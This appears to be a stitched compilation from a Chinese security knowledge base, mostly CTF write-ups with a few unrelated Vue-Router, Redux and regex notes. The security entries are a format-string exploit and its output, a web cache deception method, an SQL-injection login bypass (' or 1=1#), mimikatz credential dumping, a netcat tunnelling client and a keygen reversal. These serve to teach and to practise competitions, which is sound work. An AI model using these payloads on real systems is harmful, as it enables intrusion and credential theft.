e = ELF(LOCAL_PATH)
log.info("Address of 'authenticated': {}".format(hex(e.symbols['authenticated'])))
autofmt = FmtStr(exec_fmt)
writes = {e.symbols['authenticated']: 1}
payload = fmtstr_payload(autofmt.offset, writes)
log.info("Payload: {}".format(enhex(payload)))
print exec_fmt(payload, args.is_remote)
```
The output:
```console
root@kali:/media/sf_CTFs/pico/authenticate# python exploit.py -r
[*] '/media/sf_CTFs/pico/authenticate/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Address of 'authenticated': 0x804a04c
[+] Starting local process './auth': pid 994
[+] Receiving all data: Done (100B)
[*] Process './auth' stopped with exit code 0 (pid 994)
[+] Starting local process './auth': pid 997
[+] Receiving all data: Done (101B)
[*] Process './auth' stopped with exit code 0 (pid 997)
[+] Starting local process './auth': pid 1000
[+] Receiving all data: Done (100B)
[*] Process './auth' stopped with exit code 0 (pid 1000)
[+] Starting local process './auth': pid 1003
[+] Receiving all data: Done (96B)
[*] Process './auth' stopped with exit code 0 (pid 1003)
[+] Starting local process './auth': pid 1006
[+] Receiving all data: Done (99B)
[*] Process './auth' stopped with exit code 0 (pid 1006)
[+] Starting local process './auth': pid 1009
[+] Receiving all data: Done (96B)
[*] Process './auth' stopped with exit code 0 (pid 1009)
[+] Starting local process './auth': pid 1012
[+] Receiving all data: Done (101B)
[*] Process './auth' stopped with exit code 0 (pid 1012)
[+] Starting local process './auth': pid 1015
[+] Receiving all data: Done (96B)
[*] Process './auth' stopped with exit code 0 (pid 1015)
[+] Starting local process './auth': pid 1018
[+] Receiving all data: Done (96B)
[*] Process './auth' stopped with exit code 0 (pid 1018)
[+] Starting local process './auth': pid 1021
[+] Receiving all data: Done (96B)
[*] Process './auth' stopped with exit code 0 (pid 1021)
[+] Starting local process './auth': pid 1024
[+] Receiving all data: Done (101B)
[*] Process './auth' stopped with exit code 0 (pid 1024)
[*] Found format string offset: 11
[*] Payload: 4ca004084da004084ea004084fa0040825323431632531312468686e25323535632531322468686e2531332468686e2531342468686e
[+] Opening connection to 2018shell3.picoctf.com on port 26336: Done
[+] Receiving all data: Done (599B)
[*] Closed connection to 2018shell3.picoctf.com port 26336
Received Unknown Input:
L\xa0\x0M\xa0\x0N\xa0\x0O\xa0\x0 \xa6 \xa0
Access Granted.
picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_e8337b91}
```
The flag: picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_e8337b91}
|
sec-knowleage
|
# Web Cache Deception
## Introduction
Web Cache Deception is an attack in which an attacker deceives a caching proxy into improperly storing private information sent over the internet and gaining unauthorized access to that cached data
## Where to find
`-`
## How to exploit
* Normal Request (For example in the settings profile feature)
```
GET /profile/setting HTTP/1.1
Host: www.vuln.com
```
The response is
```
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
```
1. Try to add cacheable extension (For example .js / .css / .jpg, etc.)
```
GET /profile/setting/.js HTTP/1.1
Host: www.vuln.com
```
The response is
```
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
```
If the `Cf-Cache-Status` response the request with `HIT` not `MISS` or `Error`. And then try to open the url in incognito mode
1. Add `;` before the extension (For example `;.js` / `;.css` / `;.jpg`, etc.)
```
GET /profile/setting/;.js HTTP/1.1
Host: www.vuln.com
```
The response is
```
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
```
If the `Cf-Cache-Status` response the request with `HIT` not `MISS` or `Error`. And then try to open the url in incognito mode
## References
* [@bxmbn](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
sec-knowleage
|
# Vue-Router
vue-router 是指定的路由库,它通过管理 URL,实现组件间切换,和状态 (state) 的变化。类似 React 中的 react-router
### 装包
```
npm install vue-router --save
```
### 注入 router
导入 router
```js
import router from './router'
```
将 router 注入到组件中
```js
new Vue({
el: '#app',
router,
template: '<App/>',
components: { App }
})
```
### 创建 Router
如果用 vue-cli 创建项目时添加了路由,会自动创建
**数据结构** 为:`src 文件夹` -> `router 文件夹` -> `index.js`
```js
import Vue from 'vue'
import Router from 'vue-router'
// 引用 vuex插件
import Home from '@/components/Home'
// 导入 Home 组件
Vue.use(Router)
// 安装使用 Router 插件
export default new Router({
// 构建一个新的 Router
mode: 'history',
//路由模式为 history
routes: [
//添加路由组件
{
path: '/',
//跳转路径
name: 'Home',
//名称
component: Home
//跳转到组件
}
]
})
```
### 使用
#### `<router-view>`
主要是构建 SPA (单页应用) 时,方便渲染你指定路由对应的组件。你可以 router-view 当做是一个容器,它渲染你使用 vue-router 指定的组件
在模板组件中用`<router-view>`进行包裹
```html
<template>
<div id="app">
<router-view></router-view>
</div>
</template>
```
#### `<router-link>`
`<router-link>`用于取代`<a>`元素,生成一个链接,允许用户点击后跳转到另一个路由。它基本上就是`<a>`元素的 Vue 版本,可以接收状态值,to 表示跳转链接
```html
<template>
<div class="Home">
<router-link to="/post">Post</router-link>
</div>
</template>
<script>
export default {
name: 'Home'
}
</script>
```
### 动态路由匹配
在 Router配置文件`index.js`中,写路由路径`path`时使用『动态路径参数』
```js
routes: [
// 动态路径参数 以冒号开头
{
path: '/user/:id',
name: 'user',
component: User
}
]
```
一个『路径参数』使用冒号 : 标记。当匹配到一个路由时,参数值会被设置到 `this.$route.params`,可以在每个组件内使用。
于是,我们可以更新 User 的模板,输出当前用户的 ID:
```js
const User = {
template: '<div>User {{ $route.params.id }}</div>'
}
```
### 重定向
重定向也是通过 routes 配置来完成,下面例子是从 `/a` 重定向到 `/b`:
```js
const router = new VueRouter({
routes: [
{ path: '/a', redirect: '/b' }
]
})
```
重定向的目标也可以是一个命名的路由:
```js
const router = new VueRouter({
routes: [
{ path: '/a', redirect: { name: 'foo' }}
]
})
```
甚至是一个方法,动态返回重定向目标:
```js
const router = new VueRouter({
routes: [
{ path: '/a', redirect: to => {
// 方法接收 目标路由 作为参数
// return 重定向的 字符串路径/路径对象
}}
]
})
```
### 别名
『重定向』的意思是,当用户访问 `/a`时,URL 将会被替换成 `/b`,然后匹配路由为 `/b`,那么『别名』又是什么呢?
`/a` 的别名是 `/b`,意味着,当用户访问 `/b` 时,URL 会保持为 `/b`,但是路由匹配则为 `/a`,就像用户访问 `/a` 一样。
上面对应的路由配置为:
```js
const router = new VueRouter({
routes: [
{ path: '/a', component: A, alias: '/b' }
]
})
```
『别名』的功能让你可以自由地将 UI 结构映射到任意的 URL,而不是受限于配置的嵌套路由结构
### 参考
- 官方文档:[点击进入](https://router.vuejs.org/zh-cn/)
- CSDN博客:[点击进入](http://blog.csdn.net/sinat_17775997/article/category/6457444)
- CSDN博客:[点击进入]http://blog.csdn.net/column/details/16510.html)
|
sec-knowleage
|
# The 3D Printer Task (misc, 252+12 pts, 12 solved)
Provided recording shows 3D printing session. Unfortunately the video was damaged after first letters, so the flag should be recovered from the audio.
Spectrogram analysis revealed some interesting patterns, best visible in 16000 Hz:

The vertical strips appear when the printer head is moving from one character to another. Between them there are narrow horizontal lines. It turned out that these lines correspond to outlines of the letters:

From total of 15 characters, the first 3 (`SAF`) occurred in the video. The fourth and the last one were assumed as `{` and `}` (and later confirmed). At that moment 10 characters remained unidentified.
For convenience the characters were laid one below another.

It is clearly visible that characters 5, 9 and 2 (known letter `A`) are identical in shape.
The remaining eight characters did not match known patterns, so they required another strategy. Key observations helpful to complete this task were:
- each character is only consisted of vertical and horizontal lines that are laid interchangeably,
- the printer head starts its movement in bottom left corner, draws lines counter-clockwise and returns to initial position, closing the loop.
In this way each character can be analyzed from the beginning or from the end. It is particularly useful for letters with flat left side, like D, E, F or P --- their spectrogram representation ends with very long line.
That approach allowed to deduce the flag: `SAF{AIRGAPPED2}`. The difficulty of the characters varied:
- trivial: I, A (shares the pattern with known letter)
- easy: E
- medium: P, D
- hard: R, G, 2
The whole task was quite burdensome, but the biggest problem was that `2` was initially identified as `Z` by the mistake. It took some time to find and correct this.
|
sec-knowleage
|
# KASLR
## 介绍
在开启了 KASLR 的内核中,内核的代码段基地址等地址会整体偏移。
## 发展历史
TODO。
## 实现
TODO。
## 开启与关闭
如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `kaslr` 来开启 KASLR。
如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `nokaslr` 来关闭 KASLR。
## Attack
通过泄漏内核某个段的地址,就可以得到这个段内的所有地址。比如当我们泄漏了内核的代码段地址,就知道内核代码段的所有地址。
## 参考
- https://outflux.net/slides/2013/lss/kaslr.pdf
- https://bneuburg.github.io/volatility/kaslr/2017/04/26/KASLR1.html
|
sec-knowleage
|
from pwn import remote, listen
import subprocess
import threading
import time
def pprint(line):
print(line.decode('utf8').rstrip())
def read_at_least_raw(sock, cunt):
res = b''
while len(res) < cunt:
res += sock.recv(1)
return res
def read_at_least(sock, cunt):
res = b''
while len(res) < cunt:
res += bytes.fromhex(read_at_least_raw(sock, 4)[:2].decode('utf-8'))
print('odczytaned', len(res))
return res
def main():
r = remote('babyshell.hackable.software', 1337)
line = r.recvline()
cmd = line.decode().split(': ')[1].rstrip()
print(cmd)
out = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)
r.send(out.stdout)
print('Connected!')
while True:
line = r.readline()
pprint(line)
if b'/etc/motd.' in line:
break
pprint(r.readline())
pprint(r.recv()) # shell should be here
print('spanko')
time.sleep(5)
# r.interactive()
r.send('stty -echo\n')
pprint(r.readline()) # echo
pprint(r.recv()) # prompt
r.send('/bin/busybox nc -vz 127.0.0.1 4433 2>&1\n')
pprint(r.readline()) # output
pprint(r.recv()) # prompt
print('Listening!')
l = listen(4321)
def read_thread():
while True:
data = l.recv()
print('L', data)
r.send(''.join('\\\\x{:02x}'.format(b) for b in data).encode('utf8') + b'\n')
# r.send(base64.b64encode(data + b'\x04\x04') + b'\x04\x04')
print("starting thread")
x = threading.Thread(target=read_thread)
x.start()
print("sending payload")
r.send(b'(while true; do read s; printf "$s"; done) | /bin/busybox nc -v 127.0.0.1 4433 2>&1 | xxd -pc1;\r\n')
# r.send(b'stty raw && (while true; do base64 -d; done) | /bin/busybox nc -w 0 127.0.0.1 4433 \n')
# r.send(b'(while true; do base64 -d; done) | cat - | /bin/busybox nc 127.0.0.1 4433\n')
# r.send(b'setsid /bin/busybox nc 127.0.0.1 4433 </proc/712/fd/10 >/proc/712/fd/10\n')
# r.interactive()
counter = 0
while True:
if counter == 0:
data = read_at_least(r, 32)
elif counter == 1:
data = read_at_least(r, 1253)
print('odczytaned')
print(len(data))
elif counter == 2:
data = read_at_least(r, 239)
elif counter == 3:
data = read_at_least(r, 239)
elif counter == 4:
data = read_at_least(r, 24)
elif counter == 5:
data = read_at_least(r, 78)
elif counter == 6:
data = read_at_least(r, 24)
else:
print('co do kurwy XD')
break
# data = r.recv()
if len(data) > 0 and b'127.0.0.1' not in data:
print('R', data)
l.send(data)
counter += 1
if __name__ == '__main__':
main()
|
sec-knowleage
|
# Micro-CMS v2 - FLAG2
## 0x00 Index

## 0x01 Log In
Try bypass username using
```
' or 1=1#
```
And try run the password.

## 0x02 FLAG
Get FLAG and password **grover**

|
sec-knowleage
|
# Keygenme (RE, 400p)
This challenge took me a lot of time, but it was worth it (both because it was fun, and because it was worth a lot of points). It was created by redford (personally I'm fan of his challenges, but of course YMMV).
So we had a binary with simple key checking. Entered key was simply treated as number in base36, and converted to usual base 256 (bytes). After that, we saw a big handcrafted assembly function.
It was one of the rare cases when assembly code was **much** more readable than HexRays decompiler results, so we sticked to asm (refreshing!). I added a lot of comments to assembly, resulting with [rawasm.asm](rawasm.asm).
Reversing this step was fun, but rather easy (but quite time consuming). For example:
```asm
;; CF = SHL([GGG; HHH])
shl dword ptr [edi], 1
rcl dword ptr [edi+4], 1
rcl dword ptr [edi+8], 1
rcl dword ptr [edi+0Ch], 1
rcl dword ptr [edi+10h], 1
rcl dword ptr [edi+14h], 1
rcl dword ptr [edi+18h], 1
rcl dword ptr [edi+1Ch], 1
```
As comment says, this all instructions is simple SHL of two concatenated registers.
Another popular operation was of course zeroing 128bit int:
```asm
;; [EEE] = 0
mov edx, [ebp+mag_consts]
xor eax, eax
mov [esi], eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
```
And adding them:
```asm
;; [GGG; HHH] += [0; DDD]
mov eax, [edx]
add [edi], eax
mov eax, [edx+4]
adc [edi+4], eax
mov eax, [edx+8]
adc [edi+8], eax
mov eax, [edx+0Ch]
adc [edi+0Ch], eax
adc dword ptr [edi+10h], 0
adc dword ptr [edi+14h], 0
adc dword ptr [edi+18h], 0
adc dword ptr [edi+1Ch], 0
```
And maybe assignment:
```asm
;; [GGG] = [DDD]
mov eax, [esi]
mov [edi+10h], eax
mov eax, [esi+4]
mov [edi+14h], eax
mov eax, [esi+8]
mov [edi+18h], eax
mov eax, [esi+0Ch]
mov [edi+1Ch], eax
```
And maybe comparsion:
```asm
;; CF = [DDD] < [*MAG]
mov eax, [esi]
sub eax, [edx]
mov eax, [esi+4]
sbb eax, [edx+4]
mov eax, [esi+8]
sbb eax, [edx+8]
mov eax, [esi+0Ch]
sbb eax, [edx+0Ch]
;; IF CF GOTO loc_F41247
jb short loc_F41247
```
(proving that these are really equivalent is of course left as an exercise to reader)
After finishing with adding all that comments, i executed:
```
cat rawasm.asm | grep ";;" | cut -c 6-
```
And get quite readable pseudo-asm code (where most instructions was performed on 128bit integers). It looked like this:
```
[BBB] == [ARG]
loc_F4102F:
[DDD] = [BBB]
[EEE] = 0
[FFF] = [MAG[1]]
loc_F41081:
ZF = TEST [FFF] & 1
IF ZF GOTO loc_F4116A
[HHH] = 0
[GGG] = [EEE]
ECX = 0x80
loc_F410BD:
CF = SHL([GGG; HHH])
IF NOT CF GOTO loc_F410FC
[GGG; HHH] += [0; DDD]
loc_F410FC:
LOOP loc_F410BD
[EEE] = 0
ECX = 0x100
loc_F41116:
CF = SHL [EEE; GGG; HHH]
IF CF GOTO loc_F41152
CF = CARRY [EEE] - [*MAG]
IF CF GOTO loc_F41168
loc_F41152;
[EEE] -= [*MAG]
loc_F41168
LOOP loc_F41116
loc_F4116A:
[HHH] = 0
[GGG] = [DDD]
ECX = 0x80
loc_F4119C:
CF = SHL [GGG; HHH]
IF NOT CF GOTO loc_F411DB
[GGG; HHH] += [0; DDD]
loc_F411DB
LOOP loc_F4119C
[DDD] = 0
ECX = 0x100
loc_F411F5:
CF = SHL [DDD; GGG; HHH]
IF CF GOTO loc_F41231
CF = [DDD] - [*MAG]
IF CF GOTO loc_F41247
loc_F41231
[DDD] -= [*MAG]
loc_F41247:
LOOP loc_F411F5
SHR [FFF]
ZF = [FFF] == 0
IF NOT ZF GOTO loc_F41081
[BBB] = [EEE]
MAG++
CF = MAG < DRG
IF CF GOTO loc_F4102F
[AAA] = 0
[AAA; BBB] += 0x31337
[CCC] = 0
ECX = 0x100
loc_F412E9:
CF = SHL [CCC; AAA; BBB]
IF CF GOTO loc_F41325
CF = [CCC] - [DRG]
IF CF GOTO loc_F4133B
loc_F41325:
[CCC] -= [DRG]
loc_F4133B:
LOOP loc_F412E9
RETURN [CCC] == 0
```
This may not look really pretty, but in fact we are only 5-10 minutes from getting quite readable code. When we change GOTOs to structural loops, we end up with this reasonable piece of pseudocode:
```
[BBB] == [ARG]
for MAG, MMM in CONSTS:
[DDD] = [BBB]
[EEE] = 0
[FFF] = [MMM]
while [FFF] != 0:
IF [FFF] & 1:
[HHH] = 0
[GGG] = [EEE]
for ECX in range(0x80):
CF = SHL([GGG; HHH])
IF CF:
continue
[GGG; HHH] += [0; DDD]
[EEE] = 0
for ECX in range(0x100):
CF = SHL [EEE; GGG; HHH]
IF NOT CF:
IF [EEE] < [MAG]:
continue
[EEE] -= [MAG]
[HHH] = 0
[GGG] = [DDD]
for ECX in range(0x80):
CF = SHL [GGG; HHH]
IF CF:
continue
[GGG; HHH] += [0; DDD]
[DDD] = 0
for ECX in range(0x100):
CF = SHL [DDD; GGG; HHH]
IF NOT CF:
IF [DDD] < [MAG]:
continue
[DDD] -= [MAG]
SHR [FFF]
[BBB] = [EEE]
[AAA] = 0
[AAA; BBB] += 0x31337
[CCC] = 0
for ECX in range(0x100):
CF = SHL [CCC; AAA; BBB]
IF NOT CF:
IF [CCC] < [DRG]:
continue
[CCC] -= [DRG]
RETURN [CCC] == 0
```
But this is not over yet. We can see that few pieces of code are repeating themselves. For example:
```
for ECX in range(0x100):
CF = SHL [CCC; AAA; BBB]
IF NOT CF:
IF [CCC] < [DRG]:
continue
[CCC] -= [DRG]
```
Haven't I seen this one before? Hmm... Wait, this is just binary long division (throwing away quotient, so in fact it's modulo).
And this one:?
```
[HHH] = 0
[GGG] = [DDD]
for ECX in range(0x80):
CF = SHL [GGG; HHH]
IF CF:
continue
[GGG; HHH] += [0; DDD]
```
Hmm, adding, dividing/multiplying by 2 and checking outermost bit. Almost like multiplication? In fact, exactly like binary multiplication.
After recognising all those idioms, I ended up with this:
```
[BBB] == [ARG]
for MAG, MMM in CONSTS:
[DDD] = [BBB]
[EEE] = 0
[FFF] = [MMM]
while [FFF] != 0:
IF [FFF] & 1:
[EEE] = ([DDD] * [EEE]) % [MAG]
[DDD] = ([DDD] * DDD]) % [MAG]
SHR [FFF]
[BBB] = [EEE]
[AAA; BBB] = [0; BBB] + 0x31337
return [AAA; BBB] % DRG == 0
```
So pretty! But wait, squaring and multiplying in loop? We have a name for that - `square and multiply`, fast exponentation algorithm. So... everything reduced to this in the end:
```
for mag, mmm in consts:
print b, mmm, mag
b = pow(b, mmm, mag)
assert (b + 0x31337) % drgns == 0
```
Reversing it should be easy enough, right? Well, not for me - I wasted around 40 minutes, because at first I forgot that `-1` inside modinv. But leaving small mishappens aside, this code finally worked:
```
def get_for(b):
for mag, mmm in consts[::-1]:
b1 = pow(b, modinv(mmm, mag-1), mag)
if pow(b1, mmm, mag) != b:
return
b = b1
return b
```
And after few tries gave us the key:
```
base = -0x31337
while True:
base += drgns
b = get_for(base)
if b:
print dump128(b).encode('hex')
print int2base(b, 36)
break
```
One of valid serial keys was
`2S6JE-L492K-M8II0-KNU1M-XAXDV`
This RE challenge was really interesting, because you were supposed to "go up" from meaningless operations on bits to higher understanding of what's going on, connecting smaller abstraction into bigger ones, finally ending up with 3 LoC python script.
|
sec-knowleage
|
# 20. 表示数值的字符串
[牛客网](https://www.nowcoder.com/practice/e69148f8528c4039ad89bb2546fd4ff8?tpId=13&tqId=11206&tab=answerKey&from=cyc_github)
## 题目描述
```
true
"+100"
"5e2"
"-123"
"3.1416"
"-1E-16"
```
```
false
"12e"
"1a3.14"
"1.2.3"
"+-5"
"12e+4.3"
```
## 解题思路
使用正则表达式进行匹配。
```html
[] : 字符集合
() : 分组
? : 重复 0 ~ 1 次
+ : 重复 1 ~ n 次
* : 重复 0 ~ n 次
. : 任意字符
\\. : 转义后的 .
\\d : 数字
```
```java
public boolean isNumeric (String str) {
if (str == null || str.length() == 0)
return false;
return new String(str).matches("[+-]?\\d*(\\.\\d+)?([eE][+-]?\\d+)?");
}
```
|
sec-knowleage
|
# 凭据
> 部分内容由 [the-fog](https://github.com/the-fog) 提供,仅做部分内容排版修改
---
**简介**
Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码) 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录 凭据保存在特定的位置,被称作为保管库(vault)(位于%localappdata%/MicrosoftVault
- https://docs.microsoft.com/zh-cn/windows/win32/secauthn/kinds-of-credentials?redirectedfrom=MSDN
## 凭据类别
**Domain Credentials(域凭证)**
只有本地Local Security Authority(LSA)能够对其读写;普通权限无法读取Domain Credentials类型的凭据
**Generic Credentials(通用凭证)**
能够被用户进程读写;普通权限可以读取Generic Credentials类型的凭据
---
## 查看凭证
**凭据管理器**
以我的本机举例,在控制面板->用户帐户->凭据管理器
可以直接从 web 凭据中获取明文口令, 而 windows 凭据却不可以
**vaultcmd**
查看所有的保管库(vault)列表
```
vaultcmd /list
```
列出保管库(vault)概要,凭据名称和GUID
```
vaultcmd /listschema
这里的GUID对应路径为 %localappdata%\Microsoft\Vault\{GUID}
```
列出名为"Web 凭据"的保管库(vault)下的所有凭据信息
```
vaultcmd /listcreds:"Web 凭据"
```
列出GUID为{77BC582B-F0A6-4E15-4E80-61736B6F3B29}的保管库(vault)下的所有凭据
```
vaultcmd /listcreds:{77BC582B-F0A6-4E15-4E80-61736B6F3B29}
```
列出GUID为{77BC582B-F0A6-4E15-4E80-61736B6F3B29}的保管库(vault)的属性,包括文件位置、包含的凭据数量、保护方法
```
vaultcmd /listproperties:{77BC582B-F0A6-4E15-4E80-61736B6F3B29}
```
**cmdkey**
列举出系统中的Windows凭据
```
cmdkey /list
```
## 导出凭证
**mimikatz**
```
sekurlsa::logonpasswords
```
|
sec-knowleage
|
# Investigative Reversing 2
Forensics, 350 points
## Description:
> We have recovered a binary and an image See what you can make of it. There should be a flag somewhere.
## Solution:
This is the follow-up for [Investigative Reversing 1](Investigative_Reversing_1.md).
Again, let's check the binary with Ghidra:
```c
undefined8 main(void)
{
long lVar1;
size_t sVar2;
ulong uVar3;
long in_FS_OFFSET;
byte b;
char new_val;
int bytes_read;
int i;
int j;
int k;
undefined4 local_6c;
int limit;
int flag_bytes_read;
FILE *flag_file;
FILE *original_file;
FILE *encoded_file;
char flag [50];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
local_6c = 0;
flag_file = fopen("flag.txt","r");
original_file = fopen("original.bmp","r");
encoded_file = fopen("encoded.bmp","a");
if (flag_file == (FILE *)0x0) {
puts("No flag found, please make sure this is run on the server");
}
if (original_file == (FILE *)0x0) {
puts("original.bmp is missing, please run this on the server");
}
sVar2 = fread(&b,1,1,original_file);
bytes_read = (int)sVar2;
limit = 2000;
i = 0;
while (i < limit) {
fputc((int)(char)b,encoded_file);
sVar2 = fread(&b,1,1,original_file);
bytes_read = (int)sVar2;
i = i + 1;
}
sVar2 = fread(flag,50,1,flag_file);
flag_bytes_read = (int)sVar2;
if (flag_bytes_read < 1) {
puts("flag is not 50 chars");
/* WARNING: Subroutine does not return */
exit(0);
}
j = 0;
while (j < 50) {
k = 0;
while (k < 8) {
uVar3 = codedChar(k,flag[j] - 5,b);
new_val = (char)uVar3;
fputc((int)new_val,encoded_file);
fread(&b,1,1,original_file);
k = k + 1;
}
j = j + 1;
}
while (bytes_read == 1) {
fputc((int)(char)b,encoded_file);
sVar2 = fread(&b,1,1,original_file);
bytes_read = (int)sVar2;
}
fclose(encoded_file);
fclose(original_file);
fclose(flag_file);
if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
ulong codedChar(int param_1,byte param_2,byte param_3)
{
byte local_20;
local_20 = param_2;
if (param_1 != 0) {
local_20 = (byte)((int)(char)param_2 >> ((byte)param_1 & 0x1f));
}
return (ulong)(param_3 & 0xfe | local_20 & 1);
}
```
This time the program jumps to offset 2000, and hides the flag using LSB encoding.
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_2# xxd -g 1 -s $((2000 - 32)) -l $((50*8 + 64)) encoded.bmp
000007b0: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
000007c0: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
000007d0: e9 e9 e8 e9 e8 e9 e9 e8 e8 e8 e9 e8 e8 e9 e9 e8 ................
000007e0: e8 e9 e9 e9 e9 e8 e9 e8 e8 e9 e8 e9 e8 e9 e9 e8 ................
000007f0: e8 e9 e9 e9 e9 e9 e8 e8 e9 e9 e9 e9 e8 e8 e9 e8 ................
00000800: e9 e8 4e 4e 4e 4e 4f e8 e8 e9 e9 e8 e9 e9 e9 e8 ..NNNNO.........
00000810: e9 e8 e8 e9 e8 e9 e9 e8 e8 e9 e9 e9 e8 e9 e8 e8 ................
00000820: e9 e9 e8 e8 e9 e9 e9 e8 e9 e9 e9 e9 e8 e9 e9 e8 ................
00000830: e8 e9 e8 e9 e9 e8 e9 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000840: e9 e8 e8 e9 e8 e9 e9 e8 e8 e9 e9 e9 e8 e9 e8 e8 ................
00000850: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000860: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000870: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000880: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000890: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
000008a0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
000008b0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
000008c0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
000008d0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
000008e0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
000008f0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000900: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000910: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8 ................
00000920: e8 e8 e8 e8 e8 e9 e9 e8 e8 e9 e9 e9 e8 e9 e8 e8 ................
00000930: e9 e9 e8 e9 e8 e9 e8 e8 e8 e9 e8 e8 e9 e9 e8 e8 ................
00000940: e9 e8 e9 e9 e9 e8 e9 e8 e9 e8 e9 e9 e8 e9 e8 e8 ................
00000950: e9 e8 e8 e8 e9 e9 e8 e8 e8 e8 e8 e9 e9 e9 e9 e8 ................
00000960: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
00000970: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
```
We can see that up to offset 2000 (0x7d0) we have a constant value of `0xe8`. Then, for 50 * 8 bytes we have different values, and finally, at offset `0x960` we're back to `0xe8`.
Let's undo the logic with the following script:
```python
from pwn import *
with open("encoded.bmp", "rb") as b:
b.seek(2000)
bin_str = ""
for j in range(50 * 8):
bin_str += str(ord(b.read(1)) & 1)
char_str = unbits(bin_str, endian = 'little')
print "".join(map(lambda c: chr(ord(c) + 5), char_str))
```
Output:
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_2# python solve.py
picoCTF{n3xt_0n300000000000000000000000000e307b26}
```
|
sec-knowleage
|
# Battleships (reverse, ppc, 872p)
> A perfect candidate should be a strong leader, excellent negotiator and outstanding commander. Among his qualities must be strategic thinking and battle skills.Campaign office reports that large naval exercise will take place in the neighbouring city where anyone could try himself as an admiral and fight against famous admiral Odin.This naval exercise is a perfect chance to show the superiority of our candidate over the others. We must make provision for the victory of the leader who would lead our nation to a better future. However, your team had to face unexpected difficulties – your vessels look like they are from Middle Ages while the vessels of your enemy are state-of-the-art fire ships that DESTROYS EVERYTHING AROUND. After this, it is not a surprise that the radar in your command center is not working partially and targeting system is messed up. And what is more – you suspect that your team’s first assistance is Odin’s spy…
> All the indications are that this exercise is organized by your rivals in order to tar your candidate’s reputation. Cheer up! Victory in such an uphill battle will show the strength and genius of your candidate – go for it!
> battleships
> nc 82.202.212.28:1337
In this task we were given a binary, which turns out to be a command line client for playing battleships
game with a server (hardcoded in the binary to localhost, but we patched it to use supplied IP).
The game is pretty normal: first you set your ships' positions on a 10x10 board (4 single-tile ones, 3 double, 2 triple
and 1 four-tile vessel). Then, after completing a simple proof of work, the game starts and you can guess where
computer's ships are.
After writing a simple Python script intrerfacing with the binary, using simple strategies (guessing randomly or
sequentially, i.e. a1, a2, a3...), we found out the server has only single-tiled ships - or at least we didn't
sink any bigger ones in dozens of games. Still, it didn't seem we could win the game just like that, it would be too simple.
After disassembling and reverse engineering the binary, we found out the client communicates with the server using
custom protocol. All messages are encrypted using RC4, but we know the key as it's sent in plaintext on the wire.
Apart from the encryption part, the protocol is quite simple - you can send position which you want to target as
byte `x*16+y` and server responds with hit or miss and other, less relevant data. We implemented the protocol in
Python and played a lot more of games. After collecting a nice statistical sample of hundreds of games, we noticed two
patterns in hit positions.
First, enemy ships never touched each other, even though our ships were allowed to be placed in that way. In the
hindsight, this was hinted in the task description (that enemy vessels destroy everything around). We implemented that
improvement in the code (so that we never try to shoot near sunk ships), but this still wasn't enough to win the game.
The second observation we made was that all the ships we sunk were in the left 7 columns of the board. Although we
often shot the rightmost columns too, they never resulted in successful hit. After reading the description again,
we deduced this might be because of `our targeting system being messed up`. In other words, our board view was stretched
in the X direction. If that was the case, maybe the Y axis was stretched too? Indeed, when we allowed our script
to shoot on Y=11, there were some hits.
In the end, we changed the board size to 7x14 (notice `7*14 == 98`, remarkably close to 100), which allowed us to
win the game after a couple of tries.
|
sec-knowleage
|
# Redux
### 什么是`Redux`
Redux作为一个`React`的组件,Redux 是`JavaScript`状态容器,提供可预测化的状态管理。
Redux在React中主要负责组件间数据传递,是一个数据流管理工具。
Redux作者`Dan`有一句名言
>一个 React 的 props 还用不好的开发者,是不应该去学 Redux
### Redux 的工作原理
